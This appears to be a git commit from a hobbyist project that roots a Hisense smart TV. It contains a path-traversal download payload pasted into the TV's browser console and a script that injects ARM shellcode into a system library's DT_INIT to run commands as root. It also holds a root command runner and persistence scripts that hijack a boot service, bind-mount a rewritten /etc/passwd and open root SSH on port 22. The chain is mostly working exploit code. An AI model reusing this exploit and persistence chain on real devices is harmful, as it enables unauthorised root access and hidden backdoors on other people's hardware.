add stuff

This commit is contained in:
angryzero committed 2026-10-27 15:56:27 +01:00
commit 26cd15d899
65 files changed
+4820

No files matched your search

+50
View File
@@ -0,0 +1,50 @@
#!/usr/bin/env bash
# Rebuilds the static ARM Dropbear 2022.83 (key-only) from the included source.
# Only needed if you do not want to use the prebuilt binaries in tools/pub/.
set -euo pipefail
HERE="$(cd "$(dirname "$0")" && pwd)"
ROOT="$(cd "$HERE/../.." && pwd)"
TOP="$(cd "$ROOT/.." && pwd)"
SRC="$TOP/sources/dropbear-2022.83.tar.bz2"
BUILD="$TOP/build/dropbear"
TAR_SHA="bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b"
[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; }
echo "$TAR_SHA $SRC" | sha256sum -c -
command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; }
rm -rf "$BUILD"; mkdir -p "$BUILD"
tar xjf "$SRC" -C "$BUILD"
cd "$BUILD/dropbear-2022.83"
./configure --host=arm-linux-gnueabihf \
--disable-zlib --disable-pam --disable-shadow \
--disable-lastlog --disable-utmp --disable-wtmp \
--disable-utmpx --disable-wtmpx \
--disable-pututline --disable-pututxline \
CC=arm-linux-gnueabihf-gcc \
CFLAGS="-Os -static" LDFLAGS="-static"
# Key-only root SSH; no password auth, no client.
cat >> localoptions.h <<'EOF'
#define DROPBEAR_SVR_PASSWORD_AUTH 0
#define DROPBEAR_SVR_PUBKEY_AUTH 1
#define DROPBEAR_CLIENT 0
EOF
make -j"$(nproc)" PROGRAMS="dropbear dropbearkey"
cp -f dropbear "$ROOT/tools/pub/dropbear"
cp -f dropbearkey "$ROOT/tools/pub/dropbearkey"
chmod 755 "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbearkey"
# Optional SFTP: Dropbear has no sftp-server; patch SFTPSERVER_PATH to the
# writable /3rd_rw/sshd path. The static sftp-server comes from
# build_sftp_server.sh.
python3 "$HERE/patch_dropbear_sftp.py"
echo "---"
file "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey"
readelf -d "$ROOT/tools/pub/dropbear" 2>&1 | head -5 || true
sha256sum "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey"
+15
View File
@@ -0,0 +1,15 @@
#!/usr/bin/env bash
# Builds the final libtvsysinfo payload from the included original.
# Requires: python3, arm-linux-gnueabihf-{as,ld,objcopy}.
set -euo pipefail
HERE="$(cd "$(dirname "$0")" && pwd)"
ROOT="$(cd "$HERE/../.." && pwd)"
for t in arm-linux-gnueabihf-as arm-linux-gnueabihf-ld arm-linux-gnueabihf-objcopy python3; do
command -v "$t" >/dev/null || { echo "missing: $t"; exit 1; }
done
python3 "$HERE/build_tvi_payload.py"
echo "---"
sha256sum "$ROOT/tools/pub/libtvsysinfo.so"
echo "expected: 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a"
+44
View File
@@ -0,0 +1,44 @@
#!/usr/bin/env bash
# build_sftp_server.sh — rebuild the static ARM OpenSSH sftp-server.
#
# Source: https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/
# openssh-9.9p1.tar.gz
# The TV has glibc 2.18 and no package manager; a static build is used.
# Only sftp-server is built (no ssh/sshd, no OpenSSL/zlib/PAM needed).
set -euo pipefail
HERE="$(cd "$(dirname "$0")" && pwd)"
ROOT="$(cd "$HERE/../.." && pwd)"
TOP="$(cd "$ROOT/.." && pwd)"
SRC="$TOP/sources/openssh-9.9p1.tar.gz"
BUILD="$TOP/build/openssh"
TAR_SHA="b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02"
[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; }
echo "$TAR_SHA $SRC" | sha256sum -c -
command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; }
rm -rf "$BUILD"; mkdir -p "$BUILD"
tar xzf "$SRC" -C "$BUILD"
cd "$BUILD/openssh-9.9p1"
./configure --host=arm-linux-gnueabihf \
--without-openssl --without-zlib --without-pam \
--disable-etc-default-login --disable-lastlog --disable-utmp --disable-wtmp \
--disable-utmpx --disable-wtmpx --without-selinux --without-audit \
CC=arm-linux-gnueabihf-gcc CFLAGS="-Os -fno-pie" LDFLAGS="-static -no-pie"
make -j"$(nproc)" sftp-server
arm-linux-gnueabihf-strip sftp-server
cp -f sftp-server "$ROOT/tools/pub/sftp-server"
chmod 755 "$ROOT/tools/pub/sftp-server"
echo "---"
file "$ROOT/tools/pub/sftp-server"
readelf -d "$ROOT/tools/pub/sftp-server" 2>&1 | head -5 || true
sha256sum "$ROOT/tools/pub/sftp-server"
if command -v qemu-arm >/dev/null; then
echo "--- qemu smoke ---"
timeout 3 qemu-arm "$ROOT/tools/pub/sftp-server" -h 2>&1 | head -5 || true
fi
+118
View File
@@ -0,0 +1,118 @@
#!/usr/bin/env python3
import struct, subprocess, os, sys, tempfile
HERE = os.path.dirname(os.path.abspath(__file__))
def parse_elf(d):
e_phoff = struct.unpack_from('<I', d, 28)[0]
e_phentsize = struct.unpack_from('<H', d, 42)[0]
e_phnum = struct.unpack_from('<H', d, 44)[0]
ph = []
for i in range(e_phnum):
o = e_phoff + i*e_phentsize
t,off,va,pa,fs,ms,fl,al = struct.unpack_from('<8I', d, o)
ph.append(dict(type=t, off=off, va=va, fs=fs, ms=ms, fl=fl))
return ph
def find_dyn_init(d, ph):
for p in ph:
if p['type'] != 2: continue
off = p['off']
for j in range(0, p['fs'], 8):
tag, val = struct.unpack_from('<II', d, off+j)
if tag == 12:
return off+j, val
return None, None
def gen_asm(cave, orig, selfpath, proofpath, msg, sh, script, test=False):
mlen = len(msg.encode('latin1'))
s = []
s.append(' .arm\n .syntax unified\n .text\n .global _start\n_start:\n')
s.append(' push {r4-r7, r8, lr}\n')
# unlink self first
s.append(' adr r0, selfp\n mov r7, #10\n svc #0\n')
# write proof
s.append(' adr r0, proofp\n movw r1, #0x241\n movw r2, #0x1a4\n mov r7, #5\n svc #0\n')
s.append(' mov r4, r0\n cmp r4, #0\n blt 1f\n')
s.append(' mov r0, r4\n adr r1, msgs\n mov r2, #%d\n mov r7, #4\n svc #0\n' % mlen)
s.append(' mov r0, r4\n mov r7, #6\n svc #0\n1:\n')
# fork
s.append(' mov r7, #2\n svc #0\n cmp r0, #0\n bne 2f\n')
# child execve
s.append(' adr r0, shp\n adr r1, scriptp\n mov r2, #0\n sub sp, sp, #12\n')
s.append(' str r0, [sp]\n str r1, [sp, #4]\n str r2, [sp, #8]\n')
s.append(' mov r1, sp\n mov r2, #0\n mov r7, #11\n svc #0\n')
s.append(' mov r0, #1\n mov r7, #1\n svc #0\n2:\n')
# call original init: PC-relative BL, base-independent
if test:
s.append(' bl orig_stub\n')
else:
s.append(' bl orig_init\n')
s.append(' pop {r4-r7, r8, pc}\n')
s.append('here:\n .balign 4\n')
s.append('proofp: .asciz "%s"\n .balign 4\n' % proofpath)
s.append('msgs: .ascii "%s"\n .balign 4\n' % msg.replace('\n','\\n'))
s.append('selfp: .asciz "%s"\n .balign 4\n' % selfpath)
s.append('shp: .asciz "%s"\n .balign 4\n' % sh)
s.append('scriptp: .asciz "%s"\n .balign 4\n' % script)
if test:
s.append('orig_stub:\n bx lr\n .balign 4\n')
else:
s.append(' .equ orig_init, %d\n' % orig)
return ''.join(s)
def build(name, src, out, selfpath, proofpath, msg, test=False, orig_override=None, script='/3rd_rw/appdata/root_loop.sh'):
d = bytearray(open(src,'rb').read())
ph = parse_elf(d)
rx = [p for p in ph if p['type']==1][0]
dyn_off, orig = find_dyn_init(d, ph)
if orig_override is not None: orig = orig_override
if dyn_off is None: raise SystemExit('no DT_INIT')
if rx['ms'] != rx['fs']:
raise SystemExit('RX segment has BSS; append would collide')
cave = len(d)
asm = gen_asm(cave, orig, selfpath, proofpath, msg, '/bin/sh', script, test=test)
td = tempfile.mkdtemp(prefix='pl_')
sp = os.path.join(td,'p.s'); op = os.path.join(td,'p.o'); ep = os.path.join(td,'p.elf'); bp = os.path.join(td,'p.bin')
open(sp,'w').write(asm)
subprocess.run(['arm-linux-gnueabihf-as','-o',op,sp],check=True)
subprocess.run(['arm-linux-gnueabihf-ld','-Ttext=0x%x'%cave,'-e','0','-o',ep,op],check=True)
subprocess.run(['arm-linux-gnueabihf-objcopy','-O','binary','-j','.text',ep,bp],check=True)
code = open(bp,'rb').read()
oldsize = len(d)
d += code
newsize = len(d)
# find the first LOAD program header file offset and extend filesz/memsz
e_phoff = struct.unpack_from('<I', d, 28)[0]
e_phentsize = struct.unpack_from('<H', d, 42)[0]
e_phnum = struct.unpack_from('<H', d, 44)[0]
patched = False
for i in range(e_phnum):
o = e_phoff + i*e_phentsize
t,off,va,pa,fs,ms,fl,al = struct.unpack_from('<8I', d, o)
if t == 1 and off == rx['off'] and va == rx['va']:
struct.pack_into('<I', d, o+16, newsize)
struct.pack_into('<I', d, o+20, newsize)
patched = True
break
if not patched: raise SystemExit('RX program header not found')
struct.pack_into('<I', d, dyn_off+4, cave)
open(out,'wb').write(d)
ph2 = parse_elf(d)
_, o2 = find_dyn_init(d, ph2)
print('%s: code 0x%x, cave 0x%x, orig 0x%x, size 0x%x->0x%x, INIT 0x%x, RX page end 0x%x' % (
name, len(code), cave, orig, oldsize, newsize, o2, (newsize+0xfff)&~0xfff))
if __name__ == '__main__':
here = os.path.dirname(os.path.abspath(__file__))
root = os.path.abspath(os.path.join(here, '..', '..'))
src = os.path.join(root, 'artifacts', 'tvi_original.so')
out = os.path.join(root, 'tools', 'pub', 'libtvsysinfo.so')
build('tvi', src, out,
'/3rd_rw/loglevel/lib/libtvsysinfo.so',
'/3rd_rw/root_proof.txt',
'ROOT_EXEC_TVI\n')
import hashlib
h = hashlib.sha256(open(out, 'rb').read()).hexdigest()
print('sha256', h)
print('expected 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a')
+85
View File
@@ -0,0 +1,85 @@
#!/usr/bin/env bash
# install_sftp.sh — one-command, key-only SFTP for the TV.
#
# Uploads use only `ssh` + stdin; an `sftp` client is needed only for the test:
# 1. uploads the static OpenSSH sftp-server and the patched Dropbear
# 2. starts a test Dropbear on port 2222 (port 22 untouched)
# 3. tests a real SFTP session on 2222
# 4. only on success swaps the binary on port 22
# 5. tests SFTP on 22
#
# Usage:
# cd /workspace/hisense-he40e5600-root-modding
# root/scripts/host/install_sftp.sh
# TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 root/scripts/host/install_sftp.sh
#
# The TV login is key-only. The private key is never copied anywhere.
set -euo pipefail
HERE="$(cd "$(dirname "$0")" && pwd)"
ROOT="$(cd "$HERE/../.." && pwd)"
TV="${TV:-root@192.168.188.94}"
SSH_KEY="${SSH_KEY:-}"
command -v ssh >/dev/null || { echo "missing ssh client"; exit 1; }
command -v sftp >/dev/null || { echo "missing sftp client (OpenSSH)"; exit 1; }
SSH_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)
SFTP_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)
if [ -n "$SSH_KEY" ]; then
SSH_OPTS+=(-i "$SSH_KEY")
SFTP_OPTS+=(-i "$SSH_KEY")
fi
SSH=(ssh "${SSH_OPTS[@]}" "$TV")
for f in \
"$ROOT/tools/pub/sftp-server" \
"$ROOT/tools/pub/dropbear-sftp" \
"$ROOT/scripts/tv/install_sftp_stage.sh" \
"$ROOT/scripts/tv/enable_sftp.sh" \
"$ROOT/scripts/tv/swap_sftp.sh"; do
[ -f "$f" ] || { echo "missing: $f"; exit 1; }
done
echo "=== TV: $TV ==="
"${SSH[@]}" 'PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin; export PATH; /bin/cat /proc/self/status | /bin/grep -E "^(Uid|Gid|CapEff):"'
echo "=== upload ==="
"${SSH[@]}" '/bin/mkdir -p /3rd_rw/appdata /3rd_rw/sshd'
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/sftp-server' < "$ROOT/tools/pub/sftp-server"
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/dropbear-sftp' < "$ROOT/tools/pub/dropbear-sftp"
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/install_sftp_stage.sh' < "$ROOT/scripts/tv/install_sftp_stage.sh"
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/enable_sftp.sh' < "$ROOT/scripts/tv/enable_sftp.sh"
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/swap_sftp.sh' < "$ROOT/scripts/tv/swap_sftp.sh"
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/deploy_sshd.sh' < "$ROOT/scripts/tv/deploy_sshd.sh"
"${SSH[@]}" '/bin/chmod 755 /3rd_rw/appdata/sftp-server /3rd_rw/appdata/dropbear-sftp \
/3rd_rw/appdata/install_sftp_stage.sh /3rd_rw/appdata/enable_sftp.sh /3rd_rw/appdata/swap_sftp.sh \
/3rd_rw/appdata/deploy_sshd.sh'
echo "=== stage + test on 2222 ==="
"${SSH[@]}" '/bin/sh /3rd_rw/appdata/install_sftp_stage.sh'
if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -P 2222 -b - "$TV"; then
echo "SFTP on 2222 OK"
else
echo "SFTP on 2222 FAILED; port 22 was not touched."
"${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/dropbear2222.log 2>&1 || true' || true
exit 1
fi
echo "=== swap to port 22 ==="
"${SSH[@]}" '/bin/sh /3rd_rw/appdata/enable_sftp.sh' || true
sleep 8
echo "=== test on 22 ==="
if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -b - "$TV"; then
echo "DONE: sftp $TV"
echo "Rollback:"
echo " ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'"
else
echo "SFTP on 22 FAILED"
"${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/swap.log; /bin/busybox tail -n 40 /3rd_rw/sshd/dropbear.log' 2>&1 || true
echo "Restore the known-good non-SFTP Dropbear (if port 22 is up):"
echo " ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'"
exit 1
fi
+35
View File
@@ -0,0 +1,35 @@
#!/usr/bin/env python3
"""Create a Dropbear copy whose SFTP subsystem points at /3rd_rw/sshd/sftp-server.
Dropbear does not ship an sftp-server; it execs the compile-time
SFTPSERVER_PATH (default /usr/libexec/sftp-server). The target rootfs is
read-only, so this copy uses the writable /3rd_rw/sshd path instead.
The replacement has exactly the same length, so no ELF offsets change.
"""
import hashlib
import pathlib
import sys
ROOT = pathlib.Path(__file__).resolve().parents[2] # .../root
SRC = ROOT / "tools" / "pub" / "dropbear"
DST = ROOT / "tools" / "pub" / "dropbear-sftp"
OLD = b"/usr/libexec/sftp-server"
NEW = b"/3rd_rw/sshd/sftp-server"
def main() -> int:
data = SRC.read_bytes()
if len(OLD) != len(NEW):
sys.exit(f"length mismatch: {len(OLD)} != {len(NEW)}")
n = data.count(OLD)
if n != 1:
sys.exit(f"expected exactly 1 occurrence of {OLD!r}, found {n}")
DST.write_bytes(data.replace(OLD, NEW))
DST.chmod(0o755)
h = hashlib.sha256(DST.read_bytes()).hexdigest()
print(f"wrote {DST}")
print(f"sha256 {h}")
print(f"size {DST.stat().st_size}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+22
View File
@@ -0,0 +1,22 @@
// plant_payload.js — paste into the TV recon page console.
// Prerequisite: the ext4 stick is mounted; /mnt/usb/<dev>/tvi is a dangling
// symlink to /3rd_rw/loglevel/lib/libtvsysinfo.so.
//
// 1) listDir("/mnt/usb") -> e.g. "sda1"
// 2) set usb below
// 3) run; expect download=0 and back=0
// 4) reboot the TV
(function(){
var usb = "/mnt/usb/sda1"; // <-- adjust from listDir("/mnt/usb")
var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi";
var url = location.origin + "/pub/libtvsysinfo.so";
var o = {};
o.usb = usb;
o.target = target;
o.download = HiBrowser.File.download(url, target, 1);
o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so",
"tvi_check_plant.so", 1);
o.size = "expected 33500 bytes";
fetch("/recon", {method:"POST", body:"PLANT "+JSON.stringify(o)});
return o;
})();
+49
View File
@@ -0,0 +1,49 @@
#!/usr/bin/env bash
# Prepares the ext4 USB stick for the dangling-symlink whitelist bypass.
# DESTRUCTIVE: wipes the given block device.
#
# Usage: sudo ./prepare_usb.sh /dev/sdX
# The TV mounts partitions, not whole-disk superfloppies -> MBR + ext4.
set -euo pipefail
DEV="${1:-}"
if [ -z "$DEV" ] || [ ! -b "$DEV" ]; then
echo "usage: $0 /dev/sdX (block device, e.g. /dev/sdb)"
exit 1
fi
case "$DEV" in
*mmcblk*|*nvme*) PART="${DEV}p1" ;;
*) PART="${DEV}1" ;;
esac
echo "!!! This will DESTROY $DEV and create MBR + ext4 on $PART."
lsblk -o NAME,SIZE,MODEL,LABEL "$DEV" || true
read -r -p "Type YES to continue: " confirm
[ "$confirm" = "YES" ] || { echo "aborted"; exit 1; }
sudo wipefs -a "$DEV"
sudo parted -s "$DEV" mklabel msdos mkpart primary ext4 1MiB 100%
sudo mkfs.ext4 -F -O ^64bit,^metadata_csum -L TVSYM "$PART"
sudo mkdir -p /mnt/tvsym
sudo mount "$PART" /mnt/tvsym
sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/tvsym/tvi
sudo ln -sfn /3rd_rw/root_proof.txt /mnt/tvsym/pwn
ls -l /mnt/tvsym
sudo sync
sudo umount /mnt/tvsym
cat <<EOF
Done: $PART (label TVSYM), symlinks:
tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so (required; must stay dangling)
pwn -> /3rd_rw/root_proof.txt (optional proof target)
Next:
1. Insert the stick into the TV.
2. On the TV open http://<host-ip>:9000/recon.html
3. In the page console run root/scripts/host/plant_payload.js
(adjust the USB device, e.g. sda1, from listDir("/mnt/usb")).
4. Reboot the TV.
EOF
+21
View File
@@ -0,0 +1,21 @@
// run_root_cmd.js — paste into the TV recon page console.
// The root_loop.sh (started by the payload / HamService wrapper) executes
// /3rd_rw/appdata/root_cmd.sh and writes /3rd_rw/appdata/root_out.txt.
//
// Change CMD as needed. Examples:
// "/bin/sh /3rd_rw/appdata/deploy_sshd.sh"
// "id; cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'"
// "/bin/sh /3rd_rw/appdata/verify.sh"
// "/bin/sh /3rd_rw/appdata/rollback.sh"
(function(cmd){
var o = {};
o.write = HiBrowser.File.write("root_cmd.sh", cmd + "\n", 1);
o.cmd = cmd;
setTimeout(function(){
var out = fileXHR("file:///3rd_rw/appdata/root_out.txt");
o.out = out;
console.log(out);
fetch("/recon", {method:"POST", body:"ROOTOUT "+JSON.stringify(o)});
}, 5000);
return o;
})("/bin/sh /3rd_rw/appdata/deploy_sshd.sh");
+12
View File
@@ -0,0 +1,12 @@
#!/usr/bin/env bash
# Serves root/tools/recon.html + root/tools/pub/* on port 9000 (or $1).
set -euo pipefail
HERE="$(cd "$(dirname "$0")" && pwd)"
cd "$HERE/../tools"
PORT="${1:-9000}"
IP="$(hostname -I 2>/dev/null | awk '{print $1}')"
[ -n "$IP" ] || IP="<host-ip>"
echo "TV URL: http://$IP:$PORT/recon.html"
echo "Pub dir: $(pwd)/pub"
echo "Captures:$(pwd)/captures"
exec python3 server.py "$PORT"
+25
View File
@@ -0,0 +1,25 @@
// upload_to_appdata.js — paste into the TV recon page console (after root).
// Downloads the SSH/Dropbear deploy files from the host server into
// /3rd_rw/appdata so deploy_sshd.sh can install them.
(function(){
var files = [
"dropbear",
"dropbear-sftp",
"dropbearkey",
"sftp-server",
"authorized_keys",
"start_sshd.sh",
"root_loop.sh",
"hamservice-wrapper.sh",
"deploy_sshd.sh",
"verify.sh",
"rollback.sh"
];
var o = {};
for (var i = 0; i < files.length; i++) {
o[files[i]] = HiBrowser.File.download(location.origin + "/pub/" + files[i],
files[i], 1);
}
fetch("/recon", {method:"POST", body:"UPLOAD "+JSON.stringify(o)});
return o;
})();
+97
View File
@@ -0,0 +1,97 @@
#!/bin/sh
# deploy_sshd.sh — run as root on the TV (e.g. via the root loop).
#
# Expects in /3rd_rw/appdata:
# dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh
# hamservice-wrapper.sh
# Upload these with root/scripts/host/upload_to_appdata.js (or File.download).
#
# Installs:
# /3rd_rw/sshd/{dropbear,dropbearkey,host_key,etc_passwd,start_sshd.sh,home/.ssh/authorized_keys}
# /3rd_rw/hamservice/HamService (wrapper; replaces the symlink)
# bind /etc/passwd -> /3rd_rw/sshd/etc_passwd
# devpts /dev/shm/pts -> bind /dev/pts (PTY workaround)
# Dropbear on 0.0.0.0:22, key-only root login
#
# Reversible with rollback.sh or the ROOT-GUIDE.
set -e
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
APP=/3rd_rw/appdata
D=/3rd_rw/sshd
echo "=== deploy_sshd: start ==="
for f in dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh hamservice-wrapper.sh; do
[ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; }
done
mkdir -p "$D/home/.ssh" /3rd_rw/hamservice
# --- binaries + host key -------------------------------------------------
cp -f "$APP/dropbear" "$D/dropbear"
if [ -f "$APP/dropbear-sftp" ]; then
cp -f "$APP/dropbear-sftp" "$D/dropbear"
echo "using SFTP-capable dropbear"
fi
chmod 755 "$D/dropbear"
cp -f "$APP/dropbearkey" "$D/dropbearkey"; chmod 755 "$D/dropbearkey"
if [ -f "$APP/sftp-server" ]; then
cp -f "$APP/sftp-server" "$D/sftp-server"
chmod 755 "$D/sftp-server"
echo "sftp-server installed"
fi
if [ ! -f "$D/host_key" ]; then
"$D/dropbearkey" -t ed25519 -f "$D/host_key"
fi
# --- root home via bind-mounted passwd -----------------------------------
cp -f /etc/passwd "$D/etc_passwd"
sed -i 's|^root:x:0:0:root:.*|root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh|' "$D/etc_passwd"
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
mount --bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" \
|| mount -o bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log"
fi
# --- PTY: devpts on tmpfs, bind over /dev/pts -----------------------------
mkdir -p /dev/shm/pts
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>"$D/mount.log" \
|| mount -t devpts devpts /dev/shm/pts 2>>"$D/mount.log"
fi
if ! grep -q ' /dev/pts ' /proc/mounts; then
mount --bind /dev/shm/pts /dev/pts 2>>"$D/mount.log"
fi
# --- authorized key / permissions ----------------------------------------
cp -f "$APP/authorized_keys" "$D/home/.ssh/authorized_keys"
chmod 700 "$D/home" "$D/home/.ssh"
chmod 600 "$D/home/.ssh/authorized_keys"
chown -R 0:0 "$D"
# --- start script + root loop + boot wrapper -----------------------------
cp -f "$APP/start_sshd.sh" "$D/start_sshd.sh"; chmod 755 "$D/start_sshd.sh"
chmod 644 "$APP/root_loop.sh"
rm -f /3rd_rw/hamservice/HamService
cp -f "$APP/hamservice-wrapper.sh" /3rd_rw/hamservice/HamService
chmod 755 /3rd_rw/hamservice/HamService
# --- start now (idempotent) ----------------------------------------------
/bin/sh "$D/start_sshd.sh"
sleep 2
echo "--- passwd root entry ---"
grep '^root:' /etc/passwd
echo "--- mounts ---"
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
echo "--- processes ---"
ps | grep -E 'dropbear|root_loop' | grep -v grep || true
echo "--- tcp 22 ---"
cat /proc/net/tcp | grep -i ':0016' || true
echo "--- dropbear log ---"
/bin/busybox tail -n 8 "$D/dropbear.log" 2>&1 || true
echo "--- host key ---"
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
echo "--- files ---"
ls -la "$D" "$D/home/.ssh" /3rd_rw/hamservice
echo "=== deploy_sshd: done ==="
+37
View File
@@ -0,0 +1,37 @@
#!/bin/sh
# enable_sftp.sh — after a successful `sftp -P 2222` test, swap the
# SFTP-capable Dropbear onto port 22.
#
# Backs up the current binary as /3rd_rw/sshd/dropbear.nosftp, schedules
# swap_sftp.sh detached (the caller's SSH session will drop), and returns.
set -e
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
APP=/3rd_rw/appdata
D=/3rd_rw/sshd
[ -f "$D/sftp-server" ] || { echo "missing $D/sftp-server"; exit 1; }
[ -f "$D/dropbear-sftp" ] || { echo "missing $D/dropbear-sftp"; exit 1; }
[ -f "$APP/swap_sftp.sh" ] || { echo "missing $APP/swap_sftp.sh"; exit 1; }
# stop the 2222 test instance
if [ -f "$D/dropbear2222.pid" ]; then
kill "$(cat "$D/dropbear2222.pid")" 2>/dev/null || true
rm -f "$D/dropbear2222.pid"
fi
# one-time backup of the known-good non-SFTP binary
if [ ! -f "$D/dropbear.nosftp" ]; then
cp -f "$D/dropbear" "$D/dropbear.nosftp"
chmod 755 "$D/dropbear.nosftp"
fi
cp -f "$D/dropbear-sftp" "$D/dropbear.new"
chmod 755 "$D/dropbear.new"
if /bin/busybox --list 2>/dev/null | grep -q '^nohup$'; then
/bin/busybox nohup /bin/sh "$APP/swap_sftp.sh" >"$D/swap.log" 2>&1 &
else
/bin/sh "$APP/swap_sftp.sh" >"$D/swap.log" 2>&1 &
fi
echo "swap scheduled; port 22 will restart in ~3s; reconnect after ~6s"
+13
View File
@@ -0,0 +1,13 @@
#!/bin/sh
# /3rd_rw/hamservice/HamService (wrapper; install via deploy_sshd.sh)
# Early-ish boot hook (startHam.sh, after ~15 s): starts the root loop and
# Dropbear, then executes the real HamService. Reversible:
# rm /3rd_rw/hamservice/HamService
# ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
exec /3rd/hamservice/HamService "$@"
+51
View File
@@ -0,0 +1,51 @@
#!/bin/sh
# install_sftp_stage.sh — stage SFTP on the TV without touching port 22.
#
# Expects in /3rd_rw/appdata:
# sftp-server static OpenSSH sftp-server
# dropbear-sftp Dropbear with SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server
#
# Copies both to /3rd_rw/sshd and starts a test Dropbear on port 2222.
# The caller then tests `sftp -P 2222`. Only if that works, enable_sftp.sh
# swaps the binary on port 22.
set -e
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
APP=/3rd_rw/appdata
D=/3rd_rw/sshd
echo "=== sftp stage: start ==="
for f in sftp-server dropbear-sftp; do
[ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; }
done
mkdir -p "$D"
cp -f "$APP/sftp-server" "$D/sftp-server"; chmod 755 "$D/sftp-server"
cp -f "$APP/dropbear-sftp" "$D/dropbear-sftp"; chmod 755 "$D/dropbear-sftp"
# Verify the patched path and static server
echo "--- patched path ---"
if grep -q '/3rd_rw/sshd/sftp-server' "$D/dropbear-sftp" 2>/dev/null; then
echo "patched SFTPSERVER_PATH OK"
else
echo "WARNING: patched path not found (continuing; SFTP may fail)"
fi
# Stop a previous test instance
if [ -f "$D/dropbear2222.pid" ]; then
kill "$(cat "$D/dropbear2222.pid")" 2>/dev/null || true
rm -f "$D/dropbear2222.pid"
fi
sleep 1
"$D/dropbear-sftp" -r "$D/host_key" -p 2222 \
-P "$D/dropbear2222.pid" -E >> "$D/dropbear2222.log" 2>&1 &
sleep 2
echo "--- processes ---"
ps | grep dropbear | grep -v grep || true
echo "--- tcp 2222 (08AE) ---"
cat /proc/net/tcp | grep -i ':08AE' || true
echo "--- log ---"
/bin/busybox tail -n 10 "$D/dropbear2222.log" 2>&1 || true
echo "=== sftp stage: done; test with: sftp -P 2222 root@<tv> ==="
+29
View File
@@ -0,0 +1,29 @@
#!/bin/sh
# rollback.sh — remove the root/SSH persistence layers (run as root).
# The rootfs is untouched; this only removes /3rd_rw changes + runtime mounts.
# Reboot afterwards for a clean state.
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
D=/3rd_rw/sshd
echo "=== rollback: stopping loop/dropbear ==="
[ -f /3rd_rw/appdata/root_loop.pid ] && kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null || true
[ -f "$D/dropbear.pid" ] && kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true
echo "=== restore HamService symlink ==="
rm -f /3rd_rw/hamservice/HamService
ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
echo "=== unmount runtime bind mounts ==="
umount /etc/passwd 2>/dev/null || true
umount /dev/pts 2>/dev/null || true
umount /dev/shm/pts 2>/dev/null || true
